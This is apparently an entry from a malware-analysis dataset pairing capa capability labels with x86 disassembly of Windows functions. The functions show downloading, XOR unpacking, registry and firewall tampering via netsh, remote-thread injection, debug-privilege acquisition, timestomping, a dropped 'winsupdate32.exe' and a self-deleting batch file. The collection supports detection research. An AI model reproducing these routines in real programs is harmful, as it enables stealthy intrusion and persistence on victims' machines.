joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43ee80
Capabilities:
Check http status code
Create http request
Get http content length

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x18], edx
mov dword [ebp - 4], edx
mov dword [ebp - 8], edx
xor eax, eax
push ebp
push 0x43f03b
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
lea eax, [ebp - 4]
call fcn.00413a80
mov eax, dword [ebp - 4]
call fcn.004073dc
push eax
call sub.wininet.dll_DeleteUrlCacheEntryW
push 0
push 0
push 0
push 0
push 0
call sub.wininet.dll_InternetOpenW
mov dword [0x45c1f8], eax
cmp dword [0x45c1f8], 0
je 0x43f018
cmp dword [0x45c208], 0
jbe 0x43ef17
push 0x43f058
lea edx, [ebp - 0x18]
mov eax, dword [0x45c208]
call fcn.0040ff0c
push dword [ebp - 0x18]
push 0x43f080
lea eax, [ebp - 8]
mov edx, 3
call fcn.004076a8
mov eax, dword [ebp - 8]
call fcn.004073dc
mov edi, eax
jmp 0x43ef21
lea eax, [ebp - 8]
call fcn.00406b14
xor edi, edi
mov esi, dword [ebp - 8]
test esi, esi
je 0x43ef2d
sub esi, 4
mov esi, dword [esi]
push 0
push 0x84080300
push esi
push edi
mov eax, dword [ebp - 4]
call fcn.004073dc
push eax
mov eax, dword [0x45c1f8]
push eax
call sub.wininet.dll_InternetOpenUrlW
mov dword [0x45c1fc], eax
cmp dword [0x45c1fc], 0
je 0x43f018
xor eax, eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xc], 4
xor eax, eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x20000013
mov eax, dword [0x45c1fc]
push eax
call sub.wininet.dll_HttpQueryInfoW
cmp eax, 1
sbb ebx, ebx
inc ebx
test bl, bl
je 0x43f018
cmp dword [ebp - 0x14], 0xc8
je 0x43efbf
cmp dword [ebp - 0x14], 0xcb
je 0x43efbf
cmp dword [ebp - 0x14], 0xce
je 0x43efbf
cmp dword [ebp - 0x14], 0x1a0
je 0x43efbf
xor ebx, ebx
jmp 0x43efc1
mov bl, 1
test bl, bl
je 0x43f018
mov dword [ebp - 0xc], 4
xor eax, eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push 0x45c200
push 0x20000005
mov eax, dword [0x45c1fc]
push eax
call sub.wininet.dll_HttpQueryInfoW
cmp eax, 1
sbb ebx, ebx
inc ebx
test bl, bl
je 0x43f018
cmp dword [ebp - 0x14], 0x1a0
jne 0x43f00d
mov eax, dword [0x45c208]
mov dword [0x45c200], eax
jmp 0x43f018
mov eax, dword [0x45c208]
add dword [0x45c200], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43f042
lea eax, [ebp - 0x18]
call fcn.00406b14
lea eax, [ebp - 8]
mov edx, 2
call fcn.00406b74
ret
Function at 0x43f160
Capabilities:
Delete file
Get file size

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd0
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x14], edx
mov dword [ebp - 4], edx
mov dword [ebp - 8], edx
mov edi, 0x45c204
xor eax, eax
push ebp
push 0x43f323
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
mov eax, dword [0x4560bc]
mov eax, dword [eax]
mov dl, 1
call fcn.004100a8
test al, al
je 0x43f282
mov eax, dword [0x4560bc]
mov eax, dword [eax]
call fcn.0040f968
fstp qword [ebp - 0x10]
wait
fld qword [0x45c228]
fcomp qword [ebp - 0x10]
wait
fnstsw ax
sahf
je 0x43f282
mov eax, dword [0x4560bc]
mov eax, dword [eax]
call fcn.004073dc
push eax
call sub.kernel32.dll_DeleteFileW
test eax, eax
jne 0x43f282
lea edx, [ebp - 4]
mov eax, dword [0x4560bc]
mov eax, dword [eax]
call fcn.00410144
lea edx, [ebp - 8]
mov eax, dword [0x4560bc]
mov eax, dword [eax]
call fcn.00410cc8
mov esi, 1
jmp 0x43f205
inc esi
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x2c], eax
mov byte [ebp - 0x28], 0x11
mov dword [ebp - 0x24], esi
mov byte [ebp - 0x20], 0
mov eax, dword [ebp - 4]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x18], 0x11
lea edx, [ebp - 0x2c]
mov ecx, 2
mov eax, 0x43f340
call fcn.00410ac0
mov eax, dword [ebp - 0x14]
mov dl, 1
call fcn.004100a8
test al, al
jne 0x43f204
lea eax, [ebp - 0x30]
push eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x2c], eax
mov byte [ebp - 0x28], 0x11
mov dword [ebp - 0x24], esi
mov byte [ebp - 0x20], 0
mov eax, dword [ebp - 4]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x18], 0x11
lea edx, [ebp - 0x2c]
mov ecx, 2
mov eax, 0x43f340
call fcn.00410ac0
mov edx, dword [ebp - 0x30]
mov eax, dword [0x4560bc]
call fcn.00406ef4
cmp dword [0x45c204], 0
je 0x43f294
cmp dword [0x45c204], 0xffffffff
jne 0x43f2f8
push 0
push 0x80
push 4
push 0
push 3
push 0xc0000000
mov eax, dword [0x4560bc]
mov eax, dword [eax]
call fcn.004073dc
push eax
call sub.kernel32.dll_CreateFileW
mov dword [0x45c204], eax
cmp dword [0x45c204], 0
je 0x43f2f8
cmp dword [0x45c204], 0xffffffff
je 0x43f2f8
push 2
push 0
push 0
mov eax, dword [0x45c204]
push eax
call sub.kernel32.dll_SetFilePointer
cmp eax, 0xffffffff
setne bl
push 0
mov eax, dword [0x45c204]
push eax
call sub.kernel32.dll_GetFileSize
mov dword [0x45c208], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43f32a
lea eax, [ebp - 0x30]
call fcn.00406b14
lea eax, [ebp - 0x14]
call fcn.00406b14
lea eax, [ebp - 8]
mov edx, 2
call fcn.00406b74
ret
Function at 0x43f3fc
Capabilities:
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffde8
push ebx
lea eax, [ebp - 4]
push eax
push 0x200
lea eax, [ebp - 0x208]
push eax
mov eax, dword [0x45c1fc]
push eax
call sub.wininet.dll_InternetReadFile
cmp eax, 1
sbb ebx, ebx
inc ebx
test bl, bl
je 0x43f4a8
cmp dword [ebp - 4], 0
ja 0x43f435
xor ebx, ebx
jmp 0x43f4a8
push 0
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x208]
push eax
mov eax, dword [0x45c204]
push eax
call sub.kernel32.dll_WriteFile_1
cmp eax, 1
sbb ebx, ebx
inc ebx
test bl, bl
je 0x43f4a8
mov eax, dword [ebp - 8]
add dword [0x45c208], eax
mov eax, dword [0x45c208]
mov dword [ebp - 0x210], eax
xor eax, eax
mov dword [ebp - 0x20c], eax
fild qword [ebp - 0x210]
mov eax, dword [0x45c200]
mov dword [ebp - 0x218], eax
xor eax, eax
mov dword [ebp - 0x214], eax
fild qword [ebp - 0x218]
fdivp st(1)
fmul dword [0x43f4b0]
call fcn.0040497c
mov byte [0x45c20c], al
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x44af10
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push 0
mov eax, dword [0x45c2b0]
push eax
call sub.user32.dll_ShowWindow
pop ebp
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x403d6f
sub eax, 0x403d15
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp fcn.00401219
Function at 0x4010d0
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0xec
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0xe8], eax
push esi
push edi
mov ecx, 0xc
mov esi, str.SYSTEMControlSet001ControlSession_Managerpower
lea edi, [esp + 0x28]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0x95
lea eax, [esp + 0x5f]
push 0
push eax
mov dword [esp + 0x1c], 4
mov dword [esp + 0x14], 0
movsb byte es:[edi], byte [esi]
call sub.MSVCR90.dll_memset
mov ecx, dword [str.HiberbootEnabled]
mov edx, dword [0x403204]
mov eax, dword [0x403208]
mov dword [esp + 0x20], ecx
mov ecx, dword [0x40320c]
add esp, 0xc
mov dword [esp + 0x20], ecx
lea ecx, [esp + 0xc]
push ecx
mov dword [esp + 0x1c], edx
mov dx, word [0x403210]
push 0xf003f
mov dword [esp + 0x24], eax
xor eax, eax
mov word [esp + 0x2c], dx
push eax
lea edx, [esp + 0x34]
push edx
push 0x80000002
mov word [esp + 0x3a], ax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
pop edi
pop esi
test eax, eax
jne 0x4011ca
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 8]
lea ecx, [esp + 4]
push ecx
push 0
push 0
lea edx, [esp + 0x1c]
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp dword [esp], 1
jne 0x4011bf
mov eax, dword [esp + 4]
push 4
lea ecx, [esp + 4]
push ecx
push 4
push 0
lea edx, [esp + 0x1c]
push edx
push eax
mov dword [esp + 0x18], 0
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0xe8]
xor ecx, esp
call fcn.0040217e
add esp, 0xec
ret

Function at 0x401240
Capabilities:
Check os version
Create thread

Disassembly:
sub esp, 0x11c
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x118], eax
push 0x114
lea eax, [esp + 8]
push 0
push eax
mov dword [esp + 0xc], 0
call sub.MSVCR90.dll_memset
add esp, 0xc
lea ecx, [esp + 4]
push ecx
mov dword [esp + 8], 0x114
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [esp + 8], 6
jb 0x4012de
push 0x403228
push 0x4031a8
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4012c7
push 0
push 0
push 0
push 0
push 0
push ebx
push edi
push esi
push 0
push 0x1fffff
lea edx, [esp + 0x28]
push edx
call eax
mov eax, dword [esp]
test eax, eax
jne 0x40130b
xor eax, eax
mov ecx, dword [esp + 0x118]
xor ecx, esp
call fcn.0040217e
add esp, 0x11c
ret
push 0
push 0
push ebx
push edi
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [esp], eax
test eax, eax
jne 0x40130b
mov ecx, dword [esp + 0x118]
xor ecx, esp
call fcn.0040217e
add esp, 0x11c
ret
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
mov ecx, dword [esp + 0x118]
xor ecx, esp
call fcn.0040217e
add esp, 0x11c
ret
Function at 0x401500
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x230
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x22c], eax
push ebx
push ebp
mov ebp, dword [esp + 0x23c]
push 0
push 0xf
mov dword [esp + 0x10], 0x22c
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x40154e
pop ebp
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x22c]
xor ecx, esp
call fcn.0040217e
add esp, 0x230
ret
lea eax, [esp + 8]
push eax
push ebx
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x4015bb
push edi
mov edi, dword [sym.imp.MSVCR90.dll__wcsicmp]
push esi
jmp 0x401570
mov esi, dword [esp + 0x18]
lea ecx, [esp + 0x34]
push 0x4032b4
push ecx
call edi
add esp, 8
test eax, eax
je 0x401598
lea edx, [esp + 0x10]
push edx
push ebx
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x401570
jmp 0x4015b9
call fcn.00401000
test eax, eax
je 0x4015af
call fcn.004010d0
push ebp
push esi
call fcn.00401430
jmp 0x4015b6
push ebp
push esi
call fcn.00401340
add esp, 8
pop esi
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x234]
pop ebp
pop ebx
xor ecx, esp
mov eax, 1
call fcn.0040217e
add esp, 0x230
ret

Function at 0x4015e0
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x24
lea eax, [esp + 4]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x401601
xor eax, eax
add esp, 0x24
ret
lea ecx, [esp + 8]
push ecx
push 0x403268
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x4015fb
mov edx, dword [esp + 8]
mov eax, dword [esp + 0xc]
push 0
push 0
push 0x10
lea ecx, [esp + 0x1c]
push ecx
mov dword [esp + 0x24], edx
mov edx, dword [esp + 0x14]
push 0
push edx
mov dword [esp + 0x28], 1
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x4015fb
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor ecx, ecx
cmp eax, 0x514
setne cl
mov eax, ecx
add esp, 0x24
ret

Function at 0x401670
Capabilities:
Get common file path

Disassembly:
sub esp, 0x214
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x20c], eax
push esi
push edi
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x12]
push ecx
mov word [esp + 0x14], ax
call sub.MSVCR90.dll_memset
add esp, 0xc
call fcn.004015e0
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x104
lea edx, [esp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea edi, [esp + 8]
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x4016c4
mov eax, dword [0x40328c]
mov dword [edi], eax
lea edi, [esp + 8]
add edi, 0xfffffffe
mov edi, edi
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x4016e0
mov ecx, 8
mov esi, 0x403290
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 8]
push ecx
call fcn.00401500
mov ecx, dword [esp + 0x218]
add esp, 4
pop edi
pop esi
xor ecx, esp
xor eax, eax
call fcn.0040217e
add esp, 0x214
ret
Function at 0x401720
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x318
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x314], eax
push ebx
push ebp
mov ebp, dword [esp + 0x324]
push esi
push edi
mov ecx, 0xa
mov esi, str.SYSTEMControlSet001_servicesV3_Service
lea edi, [esp + 0x11c]
rep movsd dword es:[edi], dword [esi]
push 0xda
xor ebx, ebx
lea eax, [esp + 0x14a]
push ebx
push eax
movsw word es:[edi], word [esi]
call sub.MSVCR90.dll_memset
add esp, 0xc
lea ecx, [esp + 0x10]
push ecx
push 0xf003f
push ebx
lea edx, [esp + 0x128]
push edx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401814
push 0x104
lea eax, [esp + 0x224]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x103
lea ecx, [esp + 0x1d]
push ebx
push ecx
mov byte [esp + 0x24], bl
call sub.MSVCR90.dll_memset
mov ecx, dword [esp + 0x1c]
add esp, 0xc
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x1c]
push eax
push ebx
push ebx
push str.ImagePath
push ecx
mov dword [esp + 0x2c], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x401814
lea edx, [esp + 0x18]
push 0x22
push edx
call dword [sym.imp.MSVCR90.dll_strrchr]
add esp, 8
test eax, eax
je 0x4017fb
mov byte [eax], bl
lea eax, [esp + 0x19]
mov edx, ebp
mov ecx, eax
sub edx, ecx
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x401805
mov ebx, 1
mov eax, dword [esp + 0x10]
test eax, eax
je 0x401823
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x324]
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.0040217e
add esp, 0x318
ret

Function at 0x401840
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x10
push esi
lea eax, [esp + 8]
push eax
push 0xf013f
xor esi, esi
push esi
push 0x404018
push 0x80000002
mov dword [esp + 0x20], 4
mov dword [esp + 0x18], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4018ad
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 8]
push edx
push eax
push eax
mov eax, dword [esp + 0x18]
push str.LOCAL_Value
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x401896
lea esi, [eax + 1]
jmp 0x4018fa
mov edx, dword [esp + 8]
push 4
lea ecx, [esp + 8]
push ecx
push 4
push 0
push str.LOCAL_Value
push edx
jmp 0x4018ec
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0xc]
push ecx
push 0
push 0x20106
push 0
push 0
push 0
push 0x404018
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x4018fa
push 4
lea edx, [esp + 8]
push edx
push 4
push eax
mov eax, dword [esp + 0x18]
push str.LOCAL_Value
push eax
mov dword [esp + 0x1c], 1
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp + 8]
test eax, eax
je 0x401909
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10
ret
Function at 0x401910
Capabilities:
Create process on windows

Disassembly:
call fcn.00401840
test eax, eax
je 0x40191c
xor eax, eax
ret
push 0xfa0
push 0
push 0x4044e8
call sub.MSVCR90.dll_memset
push str._c_netsh_advfirewall_firewall_add_rule_name_BranchCache
push 0x4044e8
call dword [sym.imp.MSVCR90.dll__swprintf]
add esp, 0x14
push 0
push 0
push 0x4044e8
push 0x40342c
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 1
ret

Function at 0x401970
Capabilities:
Create process on windows
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x444
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x440], eax
push esi
push edi
push 0x103
xor edi, edi
lea eax, [esp + 0x349]
push edi
push eax
mov byte [esp + 0x350], 0
call sub.MSVCR90.dll_memset
push 0x103
lea ecx, [esp + 0x251]
push edi
push ecx
mov byte [esp + 0x258], 0
call sub.MSVCR90.dll_memset
add esp, 0x18
push edi
push 0xf
mov dword [esp + 0x18], 4
mov dword [esp + 0x10], edi
mov dword [esp + 0x1c], 0x22c
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea edx, [esp + 0x14]
mov esi, eax
push edx
push esi
call sub.KERNEL32.dll_Process32FirstW
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esp + 0x344]
push eax
call fcn.00401720
add esp, 4
test eax, eax
jne 0x401a1c
pop edi
pop esi
mov ecx, dword [esp + 0x440]
xor ecx, esp
call fcn.0040217e
add esp, 0x444
ret
call fcn.00401910
lea ecx, [esp + 0xc]
push ecx
push 0xf013f
push 0
push 0x404018
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401afb
mov ecx, dword [esp + 0xc]
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0xc]
push eax
push 0
push 0
push str.LOCAL_Value
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x401a72
cmp dword [esp + 8], 3
je 0x401afb
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7d0
call esi
push 0x104
lea edx, [esp + 0x244]
push 0
push edx
call sub.MSVCR90.dll_memset
lea eax, [esp + 0x350]
push eax
lea ecx, [esp + 0x250]
push str._c_netsh_advfirewall_firewall_set_rule_name_BranchCache
push ecx
call dword [sym.imp.MSVCR90.dll_sprintf]
add esp, 0x18
push 0
push 0
lea edx, [esp + 0x248]
push edx
push 0x4034a8
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, dword [esp + 0xc]
push 4
lea eax, [esp + 0xc]
push eax
push 4
push 0
push str.LOCAL_Value
push ecx
mov dword [esp + 0x20], 3
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 0x3e8
call esi
mov edi, 1
mov eax, dword [esp + 0xc]
test eax, eax
je 0x401b0a
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x448]
mov eax, edi
pop edi
pop esi
xor ecx, esp
call fcn.0040217e
add esp, 0x444
ret
Function at 0x401b30
Capabilities:
Set file attributes
Timestomp file

Disassembly:
sub esp, 0x20
push esi
push 0
push 0x2000000
push 3
push 0
push 3
push 0xc0000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x401b5b
xor eax, eax
pop esi
add esp, 0x20
ret
xor edx, edx
mov eax, 0x7da
mov word [esp + 0x10], ax
mov word [esp + 0x14], dx
mov eax, 0x15
mov ecx, 0xb
mov word [esp + 0x16], ax
mov edx, 7
mov word [esp + 0x12], cx
mov word [esp + 0x1a], dx
mov eax, 5
mov ecx, 0x12
lea edx, [esp + 8]
mov word [esp + 0x1c], ax
mov word [esp + 0x18], cx
push edx
lea eax, [esp + 0x14]
xor ecx, ecx
push eax
mov word [esp + 0x26], cx
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
lea ecx, [esp + 8]
push ecx
mov edx, ecx
push edx
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
lea eax, [esp + 8]
push eax
push 0
mov ecx, eax
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 2
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, 1
pop esi
add esp, 0x20
ret
Function at 0x401bf0
Capabilities:
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x210
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x20c], eax
push str.Unjk_smxz64.bat
push 0x405488
lea eax, [esp + 0x110]
push 0x4034c0
push eax
mov dword [esp + 0x10], 0
call dword [sym.imp.MSVCR90.dll_sprintf]
add esp, 0x10
xor eax, eax
mov edi, edi
mov cl, byte [eax + 0x405488]
mov byte [esp + eax + 4], cl
inc eax
test cl, cl
jne 0x401c30
push ebp
push edi
lea edi, [esp + 0xc]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x401c46
mov cx, word [0x4034c8]
lea eax, [esp + 0xc]
mov word [edi], cx
dec eax
lea ecx, [ecx]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x401c60
mov edx, dword [str.winsupdate32.exe]
mov ecx, dword [0x4034d0]
push 0
mov dword [eax], edx
mov edx, dword [0x4034d4]
push 0x80
mov dword [eax + 4], ecx
mov ecx, dword [0x4034d8]
push 2
mov dword [eax + 8], edx
mov dl, byte [0x4034dc]
push 0
mov dword [eax + 0xc], ecx
push 0
mov byte [eax + 0x10], dl
push 0x40000000
lea eax, [esp + 0x128]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x401db1
mov eax, str.:Repeat1_r_ndel___s__r_nif_exist___s__goto_Repeat1_r_n:Repeat2_r_ndel___s__r_nif_exist___s__goto_Repeat2_r_ndel___s_
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401cc7
sub eax, edx
push ebx
mov ebx, eax
mov eax, 0x405590
push esi
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401ce0
sub eax, edx
mov ecx, eax
lea eax, [esp + 0x14]
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x401cf2
sub eax, esi
mov esi, eax
lea eax, [esp + 0x118]
lea edi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x401d07
sub eax, edi
lea edx, [eax + ecx*2]
add edx, ecx
add edx, esi
lea edi, [edx + ebx + 0x64]
push edi
call dword [sym.imp.MSVCR90.dll_malloc]
add esp, 4
push 1
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
push 0
push esi
call sub.MSVCR90.dll_memset
lea eax, [esp + 0x124]
push eax
lea ecx, [esp + 0x24]
push ecx
mov edx, ecx
push edx
push 0x405590
push 0x405590
push str.:Repeat1_r_ndel___s__r_nif_exist___s__goto_Repeat1_r_n:Repeat2_r_ndel___s__r_nif_exist___s__goto_Repeat2_r_ndel___s_
push esi
call dword [sym.imp.MSVCR90.dll_sprintf]
mov eax, esi
add esp, 0x28
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x401d66
push 0
sub eax, ecx
lea ecx, [esp + 0x14]
push ecx
push eax
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
lea edx, [esp + 0x124]
push edx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
test esi, esi
je 0x401daf
push esi
call dword [sym.imp.MSVCR90.dll_free]
add esp, 4
pop esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop ebp
xor ecx, esp
call fcn.0040217e
add esp, 0x210
ret
Function at 0x401dd0
Capabilities:
Delete file
Extract resource via kernel32 functions
Write file on windows

Disassembly:
sub esp, 0x110
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x10c], eax
push ebp
push esi
mov esi, ecx
xor ebp, ebp
push esi
mov dword [esp + 0xc], ebp
call dword [sym.imp.MSVCR90.dll_remove]
add esp, 4
cmp eax, 0xffffffff
jne 0x401e21
call dword [sym.imp.MSVCR90.dll__errno]
cmp dword [eax], 0xd
jne 0x401e21
pop esi
xor eax, eax
pop ebp
mov ecx, dword [esp + 0x10c]
xor ecx, esp
call fcn.0040217e
add esp, 0x110
ret
push ebx
push edi
push ebp
mov dword [esp + 0x1c], ebp
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov edi, eax
movzx eax, word [esp + 0x124]
push 0x4034e8
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov ebx, eax
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebp, eax
lea edx, [esp + 0x18]
mov dword [esp + 0x14], ebp
mov eax, esi
sub edx, esi
lea ecx, [ecx]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x401e60
test ebp, ebp
je 0x401ec8
push ebp
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebp, eax
test ebp, ebp
je 0x401ebd
lea ecx, [esp + 0x18]
push 0x4034f0
push ecx
mov dword [esp + 0x18], 1
call dword [sym.imp.MSVCR90.dll_fopen]
add esp, 8
push 1
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
push eax
push 1
push ebp
call dword [sym.imp.MSVCR90.dll_fwrite]
push esi
call dword [sym.imp.MSVCR90.dll_fclose]
add esp, 0x14
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov ecx, dword [esp + 0x11c]
mov eax, dword [esp + 0x10]
pop edi
pop ebx
pop esi
pop ebp
xor ecx, esp
call fcn.0040217e
add esp, 0x110
ret